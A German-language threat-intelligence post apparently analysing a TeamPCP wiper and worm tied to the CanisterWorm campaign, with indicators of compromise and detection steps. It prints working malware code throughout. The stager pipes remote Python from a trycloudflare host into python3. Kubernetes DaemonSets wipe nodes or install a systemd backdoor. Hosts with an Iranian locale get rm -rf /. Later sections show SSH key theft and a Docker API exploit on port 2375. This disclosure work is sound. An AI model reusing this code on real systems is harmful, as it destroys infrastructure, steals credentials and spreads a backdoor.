Wir haben eine neue Payload im Arsenal von TeamPCP gefunden, und diese stiehlt nicht nur Anmeldeinformationen oder installiert Hintertüren. Sie löscht ganze Kubernetes-Cluster.
Das Skript verwendet genau denselben ICP-Canister (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io), den wir in der CanisterWorm-Kampagne. Derselbe C2, derselbe Backdoor-Code, derselbe /tmp/pglog Drop-Pfad. Die Kubernetes-native laterale Bewegung über DaemonSets stimmt mit dem bekannten Playbook von TeamPCP überein, aber diese Variante fügt etwas hinzu, das wir von ihnen noch nicht gesehen haben: eine geopolitisch gezielte destruktive Payload, die speziell auf iranische Systeme abzielt.
Wichtige Details
Da der Blogbeitrag viele technische Details enthält, hier eine Zusammenfassung der wichtigsten Beobachtungen, die wir gemacht haben:
- 🐙 Gleicher ICP-Canister C2 wie CanisterWorm (
tdtqy-oyaaa-aaaae-af2dq-cai) - 🎯 Payload prüft Zeitzone und Gebietsschema, um iranische Systeme zu identifizieren
- ☸️ Auf Kubernetes: stellt privilegierte DaemonSets auf jedem Node bereit, einschließlich der Control Plane
- 💀 Iranische Nodes werden gelöscht und über einen Container namens zwangsweise neu gestartet
kamikaze - 🔒 Nicht-iranische Nodes erhalten die CanisterWorm-Backdoor als systemd-Dienst installiert
- 💀 Iranische Nodes werden gelöscht und über einen Container namens zwangsweise neu gestartet
- 💣 Nicht-K8s-iranische Hosts erhalten
rm -rf / --no-preserve-root - 🐘 Persistenz getarnt als PostgreSQL-Tools:
pglog,pg_state,internal-monitor - 🔄 Mehrere Cloudflare-Tunnel-Domains rotieren als Payload-Bereitstellungsinfrastruktur
- 🪱 Neueste Variante fügt netzwerkbasierte laterale Bewegung hinzu
- 🔑 SSH-Verbreitung über gestohlene Schlüssel und Auth-Log-Parsing
- 🐳 Nutzt exponierte Docker-APIs auf Port 2375 im lokalen Subnetz aus
Der Stager
Zuerst beobachteten wir, dass es einfach auf https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , das eine einzelne Payload enthielt. Später teilte es die Payload in zwei Dateien auf, wie unten dargestellt.
#!/usr/bin/env bash
set -euo pipefail
if ! command -v kubectl &>/dev/null; then
ARCH="amd64"
[[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
chmod +x /tmp/kubectl
export PATH="/tmp:$PATH"
fi
PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -
rm -- "$0"Man kann sehen, dass es kubectl herunterlädt, falls es nicht bereits installiert ist. Dann lädt es kube.py vom selben Host herunter und führt es aus, bevor es sich selbst löscht. Der wirklich interessante Code ist darin enthalten. Hier sind die letzten Zeilen des Skripts, die die Absicht des Codes klar umreißen, den wir weiter aufschlüsseln werden:
if __name__ == "__main__":
if is_k8s():
if is_iran():
deploy_destructive_ds()
else:
deploy_std_ds()
else:
if is_iran():
poison_pill()
sys.exit(1)Wie es sein Ziel wählt
Das Erste, was die Payload tut, ist herauszufinden, wo sie ausgeführt wird. Zwei Prüfungen:
def is_k8s():
return os.path.exists("/var/run/Secrets/kubernetes.io/serviceaccount") or \
"KUBERNETES_SERVICE_HOST" in os.environStandard-Kubernetes-Pod-Erkennung. Jeder Pod erhält standardmäßig ein Service-Konto gemountet.
Danach folgt dies:
def is_iran():
tz = ""
if os.path.exists("/etc/timezone"):
with open("/etc/timezone", "r") as f:
tz = f.read().strip()
else:
try:
tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"],
stderr=subprocess.DEVNULL).decode().strip()
except:
pass
lang = os.environ.get("LANG", "")
return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in langEs prüft die System-Zeitzone und das Locale. Ist die Maschine für den Iran konfiguriert (Asia/Tehran, Iran, oder fa_IR), nimmt die Payload einen sehr unterschiedlichen Pfad.
Vier Pfade, ein Skript
Der Entscheidungsbaum ist einfach und brutal:
- Kubernetes + Iran: Stellt ein DaemonSet bereit, das jeden Node im Cluster löscht.
- Kubernetes + anderswo: Stellt ein DaemonSet bereit, das die CanisterWorm-Backdoor auf jedem Node installiert.
- Kein Kubernetes + Iran:
rm -rf / --no-preserve-root - Kein Kubernetes + anderswo: Beenden. Nichts geschieht.
Der Wiper: „kamikaze“
Das auf den Iran abzielende DaemonSet wird genannt host-provisioner-iran. Der Container darin heißt kamikaze. Subtil ist das nicht.
def deploy_destructive_ds():
ds_name = "host-provisioner-iran"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: kamikaze
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
chroot /mnt/host reboot -f
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())Das DaemonSet mountet das Root-Dateisystem des Hosts nach /mnt/host, löscht alles auf der obersten Ebene und startet dann zwangsweise neu. Da es sich um ein DaemonSet mit tolerations: [operator: Exists], es wird auf jedem Knoten im Cluster, einschließlich der Steuerungsebene, eingeplant. Eine kubectl apply und der gesamte Cluster ist unbrauchbar.
Der Persistenzpfad
Für nicht-iranische Ziele ist das DaemonSet (host-provisioner-std) weniger dramatisch, aber operativ nützlicher. Es schreibt die CanisterWorm-Backdoor auf jeden Knoten und registriert sie als systemd-Dienst:
def deploy_std_ds():
ds_name = "host-provisioner-std"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: provisioner
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
[Unit]
Description=System Monitor
After=network.target
[Service]
ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
EOF_UNIT
chroot /mnt/host systemctl daemon-reload
chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
sleep infinity
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())Die Backdoor ist dieselbe, die wir im CanisterWorm-Beitrag dokumentiert haben. Sie fragt den ICP-Canister alle 50 Minuten nach einer binären URL ab, lädt herunter und führt aus, was immer ihr gesagt wird. Der youtube[.]com Kill Switch ist immer noch vorhanden.
Die „Poison Pill“
Für nicht-Kubernetes-iranische Systeme ist der Ansatz roher:
def poison_pill():
cmd = "rm -rf / --no-preserve-root"
if os.getuid() == 0:
os.system(cmd)
else:
os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")Wenn es Root-Rechte hat, löscht es das System. Wenn nicht, versucht es passwortloses sudo und versucht es dann trotzdem. Selbst ohne Root-Rechte zerstört es alles, was der Benutzer besitzt.
Warum das wichtig ist
TeamPCP wurde seit Ende 2025 als Cloud-nativer Bedrohungsakteur dokumentiert, der auf falsch konfigurierte Docker APIs, Kubernetes-Cluster und CI/CD-Pipelines abzielt. Ihr Playbook (Umgebungs-Fingerprinting, Kubernetes-spezifisches Branching) war konsistent. Aber die Trivy-Kompromittierung und die CanisterWorm-Kampagne zeigten, dass sie in der Lage waren, im Maßstab der Lieferkette zu operieren, und diese Payload zeigt, dass sie bereit sind, destruktiv zu sein, wenn sie es wollen.
Worauf zu achten ist
Suchen Sie nach DaemonSets in kube-system die Sie nicht erstellt haben:
kubectl get ds -n kube-systemSuchen Sie nach host-provisioner-iran oder host-provisioner-std. Überprüfen Sie auch jedes DaemonSet, das hostPath: / mit einem privilegierten Sicherheitskontext. Diese Kombination sollte niemals außerhalb von Agenten auf Infrastrukturebene, wie dem Kubelet selbst, auftreten.
Auf der Host-Seite prüfen Sie auf:
- Ein systemd-Dienst namens
internal-monitor(systemctl status internal-monitor) - Dateien unter
/var/lib/svc_internal/runner.py - Prozesse mit dem Namen
pglogin/tmp/ - Ausgehende Verbindungen zu
icp0[.]ioDomains
Update: Es verbreitet sich jetzt
Eine dritte Iteration des Payloads ist gerade aufgetaucht, gehostet unter https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py Dieselbe ICP Canister Backdoor, derselbe Iran Wiper, aber dieser benötigt kein Kubernetes. Er verbreitet sich eigenständig.
Die vorherigen Versionen nutzten DaemonSets zur Verbreitung innerhalb eines Clusters. Diese Variante verzichtet vollständig darauf und ersetzt dies durch zwei Methoden zur lateralen Bewegung: SSH-Schlüsseldiebstahl und die Ausnutzung exponierter Docker-APIs. Sie scannt auch das lokale /24-Subnetz nach neuen Zielen.
So findet es Maschinen, die angegriffen werden sollen:
def get_accepted_targets():
targets = {}
for path in ["/var/log/auth.log", "/var/log/secure"]:
if os.path.exists(path):
try:
with open(path, "r") as f:
for line in f:
if "Accepted" in line:
match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
if match:
user, ip = match.groups()
if ip not in targets: targets[ip] = []
if user not in targets[ip]: targets[ip].append(user)
except: pass
return targetsEs parst /var/log/auth.log und /var/log/secure nach erfolgreichen SSH-Logins und extrahiert dabei sowohl den Benutzernamen als auch die Quell-IP. Diese werden zu gezielten Verbreitungspaaren. Für jede IP, die es im Subnetz findet und die nicht in den Auth-Logs war, versucht es stattdessen root, ubuntu, admin, und ec2-user.
Anschließend erfasst es jeden SSH-Privatschlüssel, den es finden kann:
keys = []
ssh_base = os.path.expanduser("~/.ssh")
for t in ["id_RSA", "id_ed25519", "id_ecdsa"]:
p = os.path.join(ssh_base, t)
if os.path.exists(p): keys.append(p)Für jedes Ziel werden zwei Ports überprüft. Port 22 wird für die SSH-Verbreitung genutzt:
cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no",
"-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}",
f"echo {b64_logic} | base64 -d | bash"]Port 2375 wird für den Docker API Exploit genutzt, der einen privilegierten Container mit gemountetem Host-Root erstellt:
payload = {
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
"HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})Beide Pfade liefern denselben get_remote_logic() Payload, der den Iran-Zeitzonen-Check auf dem Remote-Host ausführt. Iranische Ziele werden gelöscht, alle anderen erhalten den pgmon.py Backdoor als systemd-Dienst installiert.
Der Wiper selbst hat sich geändert. Die früheren Versionen verwendeten rm -rf / --no-preserve-root auf Nicht-K8s-Hosts, während die DaemonSet-Variante find \/ -maxdepth 1 ... -exec rm -rf {} + mit einem erzwungenen Neustart. Diese Version standardisiert den find Ansatz mit reboot -f durchgängig:
find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -fDies stammt direkt aus TeamPCPs früherer proxy.sh und pcpcat.py Tooling, wo sie nach exponierten Docker-APIs suchten und SSH-Schlüssel über Subnetze verteilten. Der Unterschied ist, dass diese Tools eigenständige Skripte zum Aufbau von Infrastruktur waren. Dieses hier trägt die CanisterWorm-Backdoor und den Iran-Wiper in sich.
Einige weitere Änderungen gegenüber den vorherigen Versionen: Der Dienstname wechselte von internal-monitor zu pgmonitor, der Installationspfad wechselte von \/var\/lib\/svc_internal\/ zu \/var\/lib\/pgmon\/, und die systemd-Beschreibung lautet nun "Postgres Monitor Service". Die PostgreSQL-Tarnung wird konsistenter.
Indikatoren für Kompromittierung
Netzwerk
tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io(ICP-Canister-C2-Dead-Drop)https://souls-entire-defined-routes.trycloudflare[.]com/(Payload-Bereitstellung, erste)https://investigation-launches-hearings-copying.trycloudflare[.]com/(Payload-Bereitstellung, zweite)https://championships-peoples-point-cassette.trycloudflare[.]com(Payload-Bereitstellung, dritte)
Kubernetes
- DaemonSet
host-provisioner-iraninkube-system - DaemonSet
host-provisioner-stdinkube-system - Containernamen:
kamikaze,Provisioner
Host
/var/lib/svc_internal/runner.py/etc/systemd/system/internal-monitor.service/tmp/pglog/tmp/.pg_state/var/lib/pgmon/pgmon.py/etc/systemd/system/pgmonitor.service- Systemd-Dienst:
pgmonitor(Beschreibung: „Postgres Monitor Dienst“) - Systemd-Dienst:
internal-monitor
Indikatoren für Lateral Movement
- Ausgehende SSH-Verbindungen mit
StrictHostKeyChecking=novon kompromittierten Hosts - Ausgehende Verbindungen zu Port 2375 (Docker API) über das lokale Subnetz
- Privilegierte Alpine-Container, erstellt über eine unauthentifizierte Docker API mit
hostPath: /Bind-Mount
... Laufende Entwicklung. Bleiben Sie für Updates auf dem Laufenden.

